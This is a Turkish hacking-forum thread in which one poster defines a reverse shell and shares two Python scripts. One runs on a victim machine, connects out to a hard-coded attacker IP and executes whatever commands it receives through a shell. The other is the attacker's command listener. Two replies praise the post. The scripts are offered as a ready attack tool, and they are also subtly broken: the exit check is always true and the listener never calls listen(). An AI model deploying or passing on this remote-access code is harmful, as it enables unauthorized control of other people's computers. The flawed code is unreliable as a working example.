Python TCP Reverse Shell

Discussion in 'Programming - Yazılım' started by MiRaTT, Ocak 10, 2019 at 9:32 PM.

  1. MiRaTT

    MiRaTT Üst Tabaka

    Mesajlar:
    14
    Likes Received:
    26
    Reverse Shell Nedir:
    "Ele geçirilen sunucu; netcat, yada python, perl vb programlama dilleri ile yazılmış scriptler ile saldırganın bilgisayarının dinlemede olduğu bir portuna bağlantı talebi gerçekleştirmesine dayanmaktadır."

    Python ile yazdığım örnek:

    Server.py

    import socket
    import subprocess
    port = 6161
    ip = "192.168.0.28"
    def yolla():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,port))

    while True:
    komut = s.recv(1024)

    if 'cikis' or 'exit' or 'finish' in komut:
    s.close()
    break
    else:
    komut_calistir = subprocess.Popen(komut, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    s.send(komut_calistir.stdout.read())
    s.send(komut_calistir.stderr.read())
    yolla()



    shell.py

    import socket
    port = 6161
    ip = "192.168.0.28"
    def yolla():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.bind((ip,port))

    socketaddr,ipaddr = s.accept()
    print('[+]Baglanti basariyla saglandi ', ipaddr)
    while True:
    komut = input('[*]Komut> ')
    if 'cikis' or 'exit' or 'finish' in komut:
    socketaddr.send('cikis')
    socketaddr.close()
    break
    else:
    socketaddr.send(komut)
    print(socketaddr.recv(1024))
    yolla()
     
    risk-master likes this.
  2. sl_yer

    sl_yer Kıdemli üye

    Mesajlar:
    205
    Likes Received:
    164
    Ellerine sağlık
    yararlı konu olmuş
     
  3. aLFaKurT

    aLFaKurT Üye

    Mesajlar:
    43
    Likes Received:
    6
Loading...

Bu sayfayı Paylaş